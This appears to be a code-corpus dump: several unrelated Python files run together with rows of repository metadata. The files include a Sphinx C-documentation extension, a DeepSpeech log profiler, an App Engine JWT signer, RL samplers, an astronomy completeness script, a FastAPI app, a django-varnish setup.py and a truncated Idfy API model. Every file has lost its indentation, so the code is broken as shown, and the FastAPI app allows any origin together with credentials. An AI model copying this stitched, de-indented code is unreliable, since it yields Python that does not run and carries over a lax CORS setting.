members += self._find_member_directives(sub_type)
# Group all the items by their name. This sort logic here leverages the order
# preservation that python sort has, in that napoleon documented constructs are
# always "member" however the actual c constructs will come after as "struct"
# or similar.
members.sort(key=lambda m: m[0])
data_blocks = []
for _, member_group in groupby(members, lambda m: m[0]):
start_line = len(self.directive.result)
directives = []
for _, _, line in member_group:
directives.append(self._remove_directive(line))
if line < start_line:
start_line = line
original_length = len(directives[-1])
merged_directive = self._merge_directives(directives)
data_blocks.append((start_line, original_length, merged_directive))
data_blocks.sort()
delta_length = 0
for line, original_length, directive in data_blocks:
start = line + delta_length
end = start + original_length
self.directive.result[start:end] = directive
delta_length += len(directive) - original_length
return self.directive.result
def format_name(self) -> str:
"""Format the name of *self.object*.
Sphinx doesn't like the typedef keyword being in typedef signatures so strip
them off here.
"""
raw_name = self.object.format_name()
cleaned_name = raw_name.replace("typedef ", "")
return cleaned_name
class CStructDocumenter(CTypeDocumenter):
"""
The documenter for the autocstruct directive.
"""
objtype = "cstruct"
directivetype = "struct"
def filter_members( # type: ignore[override]
self, members: List[Tuple[str, Any]], want_all: bool
) -> List[Tuple[str, Any, bool]]:
"""Filter the given member list.
For structures if they are documented then all members provided are
documented.
"""
ret = []
isattr = False
for (membername, member) in members:
ret.append((membername, member, isattr))
return ret
class CEnumDocumenter(CTypeDocumenter):
"""
The documenter for the autocenum directive.
"""
objtype = "cenum"
directivetype = "enum"
class CUnionDocumenter(CStructDocumenter):
"""
The documenter for the autocunion directive.
"""
objtype = "cunion"
directivetype = "union"
class CMemberDocumenter(CObjectDocumenter):
"""
The documenter for the autocmember directive.
This handles structure and union fields.
"""
objtype = "cmember"
directivetype = "member"
class CFunctionDocumenter(CObjectDocumenter):
"""
The documenter for the autocfunction directive.
"""
objtype = "cfunction"
directivetype = "function"
class CMacroDocumenter(CObjectDocumenter):
"""
The documenter for the autocmacro directive.
"""
objtype = "cmacro"
directivetype = "macro"
class CEnumeratorDocumenter(CObjectDocumenter):
"""
The documenter for the autocenumerator directive.
These are enumerator constants, versus the enum (type).
"""
objtype = "cenumerator"
directivetype = "enumerator"
class CDataDocumenter(CObjectDocumenter):
"""
The documenter for the autocdata directive.
"""
objtype = "cdata"
directivetype = "var"
@classmethod
def can_document_member(
cls, member: Any, membername: str, isattr: bool, parent: Any
) -> bool:
"""
Parameters:
member (object): The member item to document. This type is specific
to the item being processed by autodoc. These classes will
only attempt to process
:class:`sphinx_c_autodoc.loader.CObjectDocumenter` members.
membername (str): The name of the item to document. For example if
this is a function then this will be the name of the function,
no return types, no arguments.
isattr (bool): Is the member an attribute. This is unused for c
documenation.
parent (object): The parent item of this `member`.
Returns:
bool: True if this class can document the `member`.
"""
# Handle the mapping of c land `variable` to sphinx land `data`. The c
# domain in sphinx seems inconsistent the directive is called
# ``.. c:var::``, yet the role is ``:c:data:``.
return isinstance(parent, CObjectDocumenter) and member.type == "variable"
class CModule(CObject):
"""
Module directive for C files
"""
has_content = True
required_arguments = 1
object_type = "module"
def run(self) -> nodes.Node:
"""
Not sure yet
"""
state = self.state
node = nodes.section()
rst = ViewList(self.content, "testing")
# Parse the restructured text into nodes.
state.nested_parse(rst, 0, node, match_titles=1)
return node.children
def setup(app: Sphinx) -> None:
"""
Setup function for registering this with sphinx
"""
app.require_sphinx("2.0")
app.setup_extension("sphinx.ext.autodoc")
app.add_autodocumenter(CModuleDocumenter)
app.add_autodocumenter(CFunctionDocumenter)
app.add_autodocumenter(CTypeDocumenter)
app.add_autodocumenter(CStructDocumenter)
app.add_autodocumenter(CUnionDocumenter)
app.add_autodocumenter(CEnumDocumenter)
app.add_autodocumenter(CMemberDocumenter)
app.add_autodocumenter(CMacroDocumenter)
app.add_autodocumenter(CEnumeratorDocumenter)
app.add_autodocumenter(CDataDocumenter)
app.add_directive_to_domain("c", "module", CModule)
app.add_config_value("c_autodoc_roots", [""], "env")
app.add_config_value("c_autodoc_compilation_database", None, "env")
app.add_config_value("c_autodoc_compilation_args", [""], "env")
app.add_event("c-autodoc-pre-process")
patch_c_domain()
| 33.970475 | 109 | 0.619733 | 3,127 | 26,463 | 5.144867 | 0.195715 | 0.006837 | 0.005594 | 0.010629 | 0.206924 | 0.166087 | 0.157322 | 0.147626 | 0.126305 | 0.126305 | 0 | 0.001821 | 0.2946 | 26,463 | 778 | 110 | 34.014139 | 0.86002 | 0.404943 | 0 | 0.167683 | 0 | 0 | 0.053337 | 0.009698 | 0 | 0 | 0 | 0.020566 | 0 | 1 | 0.067073 | false | 0 | 0.051829 | 0 | 0.32622 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
99b02eb168229b1ffb9c68b8ad493dabf5f9c87c | 7,151 | py | Python | tools/parse_log.py | KyleHai/DeepSpeech2 | 44884426e213b6d5440914882064c9142b6ea7a3 | [
"BSD-3-Clause"
] | 158 | 2018-03-28T21:58:07.000Z | 2022-02-22T00:49:46.000Z | tools/parse_log.py | KyleHai/DeepSpeech2 | 44884426e213b6d5440914882064c9142b6ea7a3 | [
"BSD-3-Clause"
] | 35 | 2018-09-03T21:27:15.000Z | 2019-05-11T02:17:49.000Z | tools/parse_log.py | KyleHai/DeepSpeech2 | 44884426e213b6d5440914882064c9142b6ea7a3 | [
"BSD-3-Clause"
] | 22 | 2017-09-21T07:47:30.000Z | 2021-09-16T11:22:01.000Z | import fileinput as fin
# funcs:
def findValWithFormat(line):
lines.append(line)
taken = line.split(" ")
raw_val = taken[-1]
val = raw_val.split("/")[-1]
val = val[0:-2]
if 'us' in val:
val = float(val[0:val.find('us')])
val = val/1000
else:
val = float(val[0:val.find('ms')])
return val
def getCellNum(line):
cell_num = line[line.find(rnn_cell_string):line.find(rnn_cell_string) + len(rnn_cell_string) + 1]
return cell_num
def profRNNCell(line, rnncell_prof):
cell_num = getCellNum(line)
val = findValWithFormat(line)
rnncell_prof[cell_num] += val
# variables:
lines = []
module_rnncell = "CustomRNNCell2"
module_grad = 'gradients'
num_rnn_layer = 7
rnn_cell_string = "cell_"
module_rnn = 'rnn'
module_conv1 = 'conv1'
module_conv2 = 'conv2'
module_softmax = 'softmax_linear'
module_ctc = ['ctc_loss', 'CTCLoss']
module_bn = 'bn2'
rnn_cells = [rnn_cell_string+str(i) for i in range(num_rnn_layer)]
rnncell_f_prof = dict.fromkeys(rnn_cells)
rnncell_b_prof = dict.fromkeys(rnn_cells)
# prf estimator:
for el in rnncell_f_prof:
rnncell_f_prof[el] = 0.0
for el in rnncell_b_prof:
rnncell_b_prof[el] = 0.0
overall_cost = 0.0
profs ={\
'rnn_trans_f_prof': 0.0, \
'rnn_trans_b_prof': 0.0, \
'rnn_reshape_f_prof': 0.0, \
'rnn_reshape_b_prof': 0.0, \
'rnn_ReverseSequence_f_prof': 0.0, \
'rnn_ReverseSequence_b_prof': 0.0, \
'conv1_f_prof': 0.0, \
'conv1_b_prof': 0.0, \
'bn1_f_prof': 0.0, \
'bn1_b_prof': 0.0, \
'relu1_f_prof': 0.0, \
'relu1_b_prof': 0.0, \
'conv2_f_prof': 0.0, \
'conv2_b_prof': 0.0, \
'bn2_f_prof': 0.0, \
'bn2_b_prof': 0.0, \
'relu2_f_prof': 0.0, \
'relu2_b_prof': 0.0, \
'softmax_f_prof': 0.0, \
'softmax_b_prof': 0.0, \
'ctc_f_prof': 0.0, \
'ctc_b_prof': 0.0 \
}
with open('timing_memory.log', 'r') as f:
for line in f:
if len(line) > 3:
if ((line[3] != ' ') or 'Adam/update_' in line) and ('flops' not in line):
# flops is not considered
# conv1
if (module_grad not in line) and (module_conv1 in line) and ('Minimum' not in line) and ('Relu' not in line) and (module_bn not in line):
val = findValWithFormat(line)
profs['conv1_f_prof'] += val
if (module_grad in line) and (module_conv1 in line) and ('Minimum' not in line) and ('Relu' not in line) and (module_bn not in line):
val = findValWithFormat(line)
profs['conv1_b_prof'] += val
# BN1
if (module_grad not in line) and (module_conv1 in line) and ('Minimum' not in line) and ('Relu' not in line) and (module_bn in line):
val = findValWithFormat(line)
profs['bn1_f_prof'] += val
if (module_grad in line) and (module_conv1 in line) and ('Minimum' not in line) and ('Relu' not in line) and (module_bn in line):
val = findValWithFormat(line)
profs['bn1_b_prof'] += val
# Relu1
if (module_grad not in line) and (module_conv1 in line) and ('Minimum' in line or 'Relu' in line) and (module_bn not in line):
val = findValWithFormat(line)
profs['relu1_f_prof'] += val
if (module_grad in line) and (module_conv1 in line) and ('Minimum' in line or 'Relu' in line) and (module_bn not in line):
val = findValWithFormat(line)
profs['relu1_b_prof'] += val
# conv2
if (module_grad not in line) and (module_conv2 in line) and ('Minimum' not in line) and ('Relu' not in line) and (module_bn not in line):
val = findValWithFormat(line)
profs['conv2_f_prof'] += val
if (module_grad in line) and (module_conv2 in line) and ('Minimum' not in line) and ('Relu' not in line) and (module_bn not in line):
val = findValWithFormat(line)
profs['conv2_b_prof'] += val
# BN2
if (module_grad not in line) and (module_conv2 in line) and ('Minimum' not in line) and ('Relu' not in line) and (module_bn in line):
val = findValWithFormat(line)
profs['bn2_f_prof'] += val
if (module_grad in line) and (module_conv2 in line) and ('Minimum' not in line) and ('Relu' not in line) and (module_bn in line):
val = findValWithFormat(line)
profs['bn2_b_prof'] += val
# Relu2
if (module_grad not in line) and (module_conv2 in line) and ('Minimum' in line or 'Relu' in line) and (module_bn not in line):
val = findValWithFormat(line)
profs['relu2_f_prof'] += val
if (module_grad in line) and (module_conv2 in line) and ('Minimum' in line or 'Relu' in line) and (module_bn not in line):
val = findValWithFormat(line)
profs['relu2_b_prof'] += val
#rnn transpose
if (module_grad not in line) and (module_rnn in line) and ('transpose' in line) and (module_rnncell not in line):
val = findValWithFormat(line)
profs['rnn_trans_f_prof'] += val
if (module_grad in line) and (module_rnn in line) and ('transpose' in line) and (module_rnncell not in line):
val = findValWithFormat(line)
profs['rnn_trans_b_prof'] += val
#rnn reshape
if (module_grad not in line) and (module_rnn in line) and ('rnn/Reshape' in line) and (module_rnncell not in line):
val = findValWithFormat(line)
profs['rnn_reshape_f_prof'] += val
if (module_grad in line) and (module_rnn in line) and ('rnn/Reshape' in line) and (module_rnncell not in line):
val = findValWithFormat(line)
profs['rnn_reshape_b_prof'] += val
#rnn reshape
if (module_grad not in line) and (module_rnn in line) and ('ReverseSequence' in line):
val = findValWithFormat(line)
profs['rnn_ReverseSequence_f_prof'] += val
if (module_grad in line) and (module_rnn in line) and ('ReverseSequence' in line):
val = findValWithFormat(line)
profs['rnn_ReverseSequence_b_prof'] += val
# rnn forward profiling by cell
if (module_grad not in line) and (module_rnncell in line):
profRNNCell(line, rnncell_f_prof)
# rnn backward profiling by cell
if (module_grad in line) and (module_rnncell in line):
profRNNCell(line, rnncell_b_prof)
# softmax
if (module_grad not in line) and (module_softmax in line):
val = findValWithFormat(line)
profs['softmax_f_prof'] += val
if (module_grad in line) and (module_softmax in line):
val = findValWithFormat(line)
profs['softmax_b_prof'] += val
# ctc
for c in module_ctc:
if (c in line) and (module_grad not in line):
val = findValWithFormat(line)
profs['ctc_f_prof'] += val
if (c in line) and (module_grad in line):
val = findValWithFormat(line)
profs['ctc_b_prof'] +=val
for key, val in dict.iteritems(rnncell_f_prof):
overall_cost += val
print "(RNN forward by cell) " + str(key) + ": " + str(val) + "ms"
for key, val in dict.iteritems(rnncell_b_prof):
overall_cost += val
print "(RNN backward by cell) " + str(key) + ": " + str(val) + "ms"
# Profiling result
for k in dict.fromkeys(profs):
overall_cost += profs[k]
print k + ": " + str(profs[k]) + "ms"
print "overall: " + str(overall_cost) + "ms"
prf_file1 = open('prf1.txt', 'w')
for k in dict.fromkeys(profs):
prf_file1.write("%s:%f\n" % (k, profs[k]))
prf_file1.close()
# write including modules
prf_file2 = open('prf2.txt', 'w')
for el in lines:
prf_file2.write("%s\n" % el)
prf_file2.close()
| 32.504545 | 141 | 0.66704 | 1,152 | 7,151 | 3.939236 | 0.097222 | 0.126928 | 0.132878 | 0.132217 | 0.708903 | 0.655796 | 0.619216 | 0.56699 | 0.560379 | 0.560379 | 0 | 0.021005 | 0.201091 | 7,151 | 219 | 142 | 32.652968 | 0.773324 | 0.033142 | 0 | 0.173077 | 0 | 0 | 0.148837 | 0.015116 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.00641 | null | null | 0.025641 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
99b0ba7f03b2766d824e986ab5fb96ab8c0fa7e0 | 928 | py | Python | api_client/auth.py | ciandt-d1/cvtool-ingestion-pipeline | 10602668fe5980a577032c85f16f0a12262d5ea6 | [
"Apache-2.0"
] | null | null | null | api_client/auth.py | ciandt-d1/cvtool-ingestion-pipeline | 10602668fe5980a577032c85f16f0a12262d5ea6 | [
"Apache-2.0"
] | null | null | null | api_client/auth.py | ciandt-d1/cvtool-ingestion-pipeline | 10602668fe5980a577032c85f16f0a12262d5ea6 | [
"Apache-2.0"
] | null | null | null | import base64
import json
import time
from google.appengine.api import app_identity
DEFAULT_SERVICE_ACCOUNT = app_identity.get_service_account_name()
def generate_jwt():
"""Generates a signed JSON Web Token using the Google App Engine default
service account."""
now = int(time.time())
header_json = json.dumps({
"typ": "JWT",
"alg": "RS256"
})
payload_json = json.dumps({
'iat': now,
"exp": now + 3600,
'iss': DEFAULT_SERVICE_ACCOUNT,
'sub': DEFAULT_SERVICE_ACCOUNT,
'aud': 'ingestion_pipeline',
"email": DEFAULT_SERVICE_ACCOUNT
})
headerAndPayload = '{}.{}'.format(base64.urlsafe_b64encode(header_json), base64.urlsafe_b64encode(payload_json))
(key_name, signature) = app_identity.sign_blob(headerAndPayload)
signed_jwt = '{}.{}'.format(headerAndPayload, base64.urlsafe_b64encode(signature))
return signed_jwt
| 27.294118 | 116 | 0.677802 | 106 | 928 | 5.679245 | 0.490566 | 0.139535 | 0.174419 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.028378 | 0.202586 | 928 | 33 | 117 | 28.121212 | 0.785135 | 0.092672 | 0 | 0.086957 | 1 | 0 | 0.074519 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.043478 | false | 0 | 0.173913 | 0 | 0.26087 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
99b421b8fc3c77a78c8b42d4e7d8dc9eab6fdc76 | 4,767 | py | Python | SimpleSAC/sampler.py | chethus/CQL | 9cceb35fe220ae517bc87ae219704d6eca409566 | [
"MIT"
] | null | null | null | SimpleSAC/sampler.py | chethus/CQL | 9cceb35fe220ae517bc87ae219704d6eca409566 | [
"MIT"
] | null | null | null | SimpleSAC/sampler.py | chethus/CQL | 9cceb35fe220ae517bc87ae219704d6eca409566 | [
"MIT"
] | null | null | null | import numpy as np
from collections import defaultdict
from .utils import flatten_dict
class StepSampler(object):
def __init__(self, env, max_traj_length=1000):
self.max_traj_length = max_traj_length
self._env = env
self._traj_steps = 0
self._current_observation = self.env.reset()
def sample(self, policy, n_steps, deterministic=False, replay_buffer=None):
traj = defaultdict(list)
traj_info = defaultdict(list)
for _ in range(n_steps):
self._traj_steps += 1
observation = self._current_observation
obs_is_arr = type(observation).__module__ == np.__name__
if obs_is_arr:
observations_batch = np.expand_dims(observation, 0)
elif isinstance(observation, dict):
observations_batch = {k: np.expand_dims(v, 0) for k, v in observation.items()}
else:
raise Exception('Only array and dictionary observations supported.')
action = policy(
observations_batch, deterministic=deterministic
)[0, :]
next_observation, reward, done, info = self.env.step(action)
transition = dict(
**flatten_dict(dict(observations=observation)),
actions=action,
rewards=reward,
**flatten_dict(dict(next_observations=next_observation)),
dones=done,
)
for k, v in transition.items():
traj[k].append(v)
for k, v in info.items():
traj_info[k].append(v)
if replay_buffer is not None:
replay_buffer.add_sample(
observation, action, reward, next_observation, done
)
self._current_observation = next_observation
if done or self._traj_steps >= self.max_traj_length:
self._traj_steps = 0
self._current_observation = self.env.reset()
traj = flatten_dict(traj)
for k, v in traj.items():
traj[k] = np.array(v, dtype=np.float32)
return traj, traj_info
@property
def env(self):
return self._env
class TrajSampler(object):
def __init__(self, env, max_traj_length=1000):
self.max_traj_length = max_traj_length
self._env = env
def sample(self, policy, n_trajs, deterministic=False, replay_buffer=None, reset_id=None):
trajs, traj_infos = [], []
for _ in range(n_trajs):
traj, traj_info = defaultdict(list), defaultdict(list)
if reset_id is not None:
assert callable(getattr(self.env, 'reset_specific')), 'Specific resets not supported.'
self.env.reset()
observation, _ = self.env.env.env.reset_specific(reset_id)
else:
observation = self.env.reset()
for _ in range(self.max_traj_length):
obs_is_arr = type(observation).__module__ == np.__name__
if obs_is_arr:
observations_batch = np.expand_dims(observation, 0)
elif isinstance(observation, dict):
observations_batch = {k: np.expand_dims(v, 0) for k, v in observation.items()}
else:
raise Exception('Only array and dictionary observations supported.')
action = policy(
observations_batch, deterministic=deterministic
)[0, :]
next_observation, reward, done, info = self.env.step(action)
transition = dict(
**flatten_dict(dict(observations=observation)),
actions=action,
rewards=reward,
**flatten_dict(dict(next_observations=next_observation)),
dones=done,
)
for k, v in transition.items():
traj[k].append(v)
for k, v in info.items():
traj_info[k].append(v)
if replay_buffer is not None:
replay_buffer.add_sample(
observation, action, reward, next_observation, done
)
observation = next_observation
if done:
break
for k, v in traj.items():
traj[k] = np.array(v, dtype=np.float32)
for k, v in traj_info.items():
traj_info[k] = np.array(v, dtype=np.float32)
trajs.append(traj)
traj_infos.append(traj_info)
return trajs, traj_infos
@property
def env(self):
return self._env | 37.242188 | 102 | 0.550451 | 513 | 4,767 | 4.869396 | 0.177388 | 0.039231 | 0.018014 | 0.02522 | 0.743395 | 0.663331 | 0.663331 | 0.629303 | 0.629303 | 0.629303 | 0 | 0.007578 | 0.363331 | 4,767 | 128 | 103 | 37.242188 | 0.815486 | 0 | 0 | 0.650943 | 0 | 0 | 0.029782 | 0 | 0 | 0 | 0 | 0 | 0.009434 | 1 | 0.056604 | false | 0 | 0.028302 | 0.018868 | 0.141509 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
99b439817790c7610ae8a7e8b0e92d675cac1d00 | 2,156 | py | Python | example.py | Til-Piffl/RAVE_SelectionFunction | 0971f2578f9a474c1f0997109057b1967b276c3d | [
"MIT"
] | null | null | null | example.py | Til-Piffl/RAVE_SelectionFunction | 0971f2578f9a474c1f0997109057b1967b276c3d | [
"MIT"
] | null | null | null | example.py | Til-Piffl/RAVE_SelectionFunction | 0971f2578f9a474c1f0997109057b1967b276c3d | [
"MIT"
] | null | null | null | import pyRAVE
import numpy as np
import healpy
# Load RAVE data
RAVE = pyRAVE.readCSV('RAVE_DR4.csv')
# =======================================================
# Selection criteria by the user
user_select = np.ones(len(RAVE['rave_obs_id']),dtype=bool) # all entries
user_select = (RAVE['snr_k']>20) &\
(RAVE['ehrv'] < 8) &\
(RAVE['correlationcoeff'] >= 10) &\
(abs(RAVE['correctionrv']) < 10)
# =======================================================
# Compute approximated I magnitude
RAVE['I2MASS'] = pyRAVE.computeI2MASS(RAVE['jmag_2mass'],RAVE['kmag_2mass'])
# Weed out duplicates
unique = pyRAVE.findUnique(RAVE['raveid'],RAVE['rave_obs_id'],RAVE['snr_k'])
print np.sum(unique==False), " entries lost from repeat observations."
# Weed out targets that are inconsistent with the color cut
colour_cut = pyRAVE.JmK_color_cut(RAVE['b'],
RAVE['jmag_2mass'],
RAVE['kmag_2mass'])
print np.sum(unique&(colour_cut==False)), " entries lost from colour cut."
# Remove sky regions that were not systematically observed
footprint = pyRAVE.apply_footprint(RAVE['l'],RAVE['b'],RAVE['ra'],RAVE['de'])
print np.sum(unique&colour_cut&(footprint==False)), \
" entries outside footprint"
print "-------------------"
print np.sum(unique & colour_cut & footprint & (user_select==False)),\
" stars lost from user defined selection."
use = unique & colour_cut & footprint & user_select
print "-------------------"
print np.sum(use), " stars left."
# Compute HEALPIX indices
RAVE['healpix_ids'] = pyRAVE.computeHEALPIX_ids(RAVE['l'],
RAVE['b'])
# Evaluate completeness in (ra,dec,I2mass) bins
comp,Irange = pyRAVE.computeCompleteness(RAVE['healpix_ids'][use],
RAVE['I2MASS'][use])
# Write into ASCII file
ofname = 'RAVE_completeness_new.txt'
f = open(ofname,'w')
for I in Irange:
f.write("%.2f "%I)
f.write("\n")
for i in range(len(comp)):
for j in range(np.shape(comp)[1]):
f.write("%.5f "%(comp[i][j]))
f.write("\n")
f.close()
| 32.179104 | 77 | 0.583952 | 268 | 2,156 | 4.593284 | 0.429104 | 0.043867 | 0.040617 | 0.05199 | 0.153534 | 0.153534 | 0.05524 | 0 | 0 | 0 | 0 | 0.011072 | 0.204082 | 2,156 | 66 | 78 | 32.666667 | 0.706294 | 0.19898 | 0 | 0.102564 | 0 | 0 | 0.227671 | 0.014594 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.076923 | null | null | 0.25641 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
99b6b0110cc7ef6710b3af92dbc9337bbeb8fdbb | 942 | py | Python | planner/section.py | ksu-web-dev/planner | 1aa7f50b2b8c1dda3dccf12e59ca169f19049d18 | [
"MIT"
] | null | null | null | planner/section.py | ksu-web-dev/planner | 1aa7f50b2b8c1dda3dccf12e59ca169f19049d18 | [
"MIT"
] | null | null | null | planner/section.py | ksu-web-dev/planner | 1aa7f50b2b8c1dda3dccf12e59ca169f19049d18 | [
"MIT"
] | null | null | null | import dataclasses
import time
@dataclasses.dataclass
class Section:
department: str = ''
course_number: int = 0
full_name: str = ''
type: str = ''
instructor: str = ''
section_letter: str = ''
section_number: int = 0
start_time: time.time = None
end_time: time.time = None
facility: str = ''
basis: str = ''
units_min: int = 0
units_max: int = 0
days: int = 0
def __post_init__(self):
if self.start_time is str:
self.start_time = time.strptime(self.start_time, "%H:%M")
if self.end_time is str:
self.end_time = time.strptime(self.end_time, "%H:%M")
def to_tuple(self):
data = dataclasses.asdict(self)
if self.start_time:
data['start_time'] = self.start_time.strftime("%H:%M")
if self.end_time:
data['end_time'] = self.end_time.strftime("%H:%M")
return tuple(data.values())
| 24.153846 | 69 | 0.58811 | 127 | 942 | 4.15748 | 0.330709 | 0.119318 | 0.123106 | 0.060606 | 0.128788 | 0.056818 | 0 | 0 | 0 | 0 | 0 | 0.007396 | 0.282378 | 942 | 38 | 70 | 24.789474 | 0.773669 | 0 | 0 | 0 | 0 | 0 | 0.04034 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.066667 | false | 0 | 0.066667 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
99bb94bdf7cb1735398ab3a3a859a7f3ba4af38f | 1,548 | py | Python | app.py | dcshoecousa/MimiWork | fdbb41163ac1216a8854c36ac8328fe8cc61a2d3 | [
"MIT"
] | null | null | null | app.py | dcshoecousa/MimiWork | fdbb41163ac1216a8854c36ac8328fe8cc61a2d3 | [
"MIT"
] | null | null | null | app.py | dcshoecousa/MimiWork | fdbb41163ac1216a8854c36ac8328fe8cc61a2d3 | [
"MIT"
] | null | null | null | import uvicorn
from fastapi import FastAPI, Request, status
from fastapi.encoders import jsonable_encoder
from fastapi.middleware.cors import CORSMiddleware
from fastapi.middleware.gzip import GZipMiddleware
from fastapi.exceptions import RequestValidationError
from fastapi.responses import PlainTextResponse
from starlette.exceptions import HTTPException as StarletteHTTPException
from fastapi.responses import JSONResponse
from fastapi.staticfiles import StaticFiles
from utils.database import Base, engine
from router import router
Base.metadata.create_all(bind=engine)
origins = [ "*" ]
app = FastAPI(title="眯眯老婆的API")
@app.exception_handler(StarletteHTTPException)
async def http_exception_handler(request: Request, exc):
return PlainTextResponse(str(exc.detail), status_code=exc.status_code)
@app.exception_handler(RequestValidationError)
async def validation_exception_handler(request: Request, exc: RequestValidationError):
return JSONResponse(
status_code=status.HTTP_422_UNPROCESSABLE_ENTITY,
content=jsonable_encoder({"detail": exc.errors(), "body": exc.body}),
)
app.include_router(router, prefix="/api")
app.add_middleware(
CORSMiddleware,
allow_origins=origins,
allow_credentials=True,
allow_methods=["*"],
allow_headers=["*"],
)
app.add_middleware(GZipMiddleware, minimum_size=1000)
app.include_router(router, prefix="/api")
app.mount("/static", StaticFiles(directory='./static'), name='static')
if __name__ == "__main__":
uvicorn.run(app, host="0.0.0.0", port=8080)
| 30.352941 | 86 | 0.786822 | 181 | 1,548 | 6.552486 | 0.425414 | 0.074199 | 0.035413 | 0.043845 | 0.112985 | 0.057336 | 0.057336 | 0 | 0 | 0 | 0 | 0.010901 | 0.111111 | 1,548 | 50 | 87 | 30.96 | 0.851017 | 0 | 0 | 0.054054 | 0 | 0 | 0.04199 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.324324 | 0 | 0.378378 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
99bf1a42c7b4098b900a012105dedc1f4e8a5099 | 438 | py | Python | django-varnish-master/setup.py | vdmann/cse-360-image-hosting-website | ad71c082353af4c10dcafd7381415d932cbfabc9 | [
"MIT"
] | null | null | null | django-varnish-master/setup.py | vdmann/cse-360-image-hosting-website | ad71c082353af4c10dcafd7381415d932cbfabc9 | [
"MIT"
] | null | null | null | django-varnish-master/setup.py | vdmann/cse-360-image-hosting-website | ad71c082353af4c10dcafd7381415d932cbfabc9 | [
"MIT"
] | 2 | 2015-02-25T23:05:21.000Z | 2021-11-07T13:15:08.000Z | from distutils.core import setup
setup(
name = "django-varnish",
version = '0.1',
url = 'http://opensource.washingtontimes.com/projects/django-varnish/',
author = 'Justin Quick',
author_email= 'justquick@gmail.com',
long_description=open('README.rst').read(),
description = 'Integration between Django and the Varnish HTTP accelerator using the management port using telnet',
packages = ['varnishapp']
)
| 31.285714 | 119 | 0.703196 | 51 | 438 | 6 | 0.784314 | 0.084967 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00551 | 0.171233 | 438 | 13 | 120 | 33.692308 | 0.837466 | 0 | 0 | 0 | 0 | 0 | 0.521739 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.090909 | 0 | 0.090909 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
99d1bc40cd45f1b18fc86b0fb1fe8abea19c68d7 | 5,631 | py | Python | idfy_rest_client/models/update_signer_request_wrapper.py | dealflowteam/Idfy | fa3918a6c54ea0eedb9146578645b7eb1755b642 | [
"MIT"
] | null | null | null | idfy_rest_client/models/update_signer_request_wrapper.py | dealflowteam/Idfy | fa3918a6c54ea0eedb9146578645b7eb1755b642 | [
"MIT"
] | null | null | null | idfy_rest_client/models/update_signer_request_wrapper.py | dealflowteam/Idfy | fa3918a6c54ea0eedb9146578645b7eb1755b642 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
idfy_rest_client.models.update_signer_request_wrapper
This file was automatically generated for Idfy by APIMATIC v2.0 ( https://apimatic.io )
"""
from idfy_rest_client.api_helper import APIHelper
import idfy_rest_client.models.redirect_settings
import idfy_rest_client.models.signer_info
import idfy_rest_client.models.extra_info_signer_request
import idfy_rest_client.models.ui
import idfy_rest_client.models.notifications
class UpdateSignerRequestWrapper(object):
"""Implementation of the 'UpdateSignerRequestWrapper' model.
TODO: type model description here.
Attributes:
redirect_settings (RedirectSettings): Return urls and domain settings
signer_info (SignerInfo): Define the signers name, mobile and email if
you are using notifications
extra_info (ExtraInfoSignerRequest): Coming soon: Do you want to
collect extra info about this specific signer? (for example
personal information)
ui (UI): Here you can set language, styling and create dialogs the
signer have to read before/after the signing
notifications (Notifications): Enable / setup email/sms notifications
for this specific signer
tags (list of string): Signer tags
order (int): You can define a specific sign order /queue for the
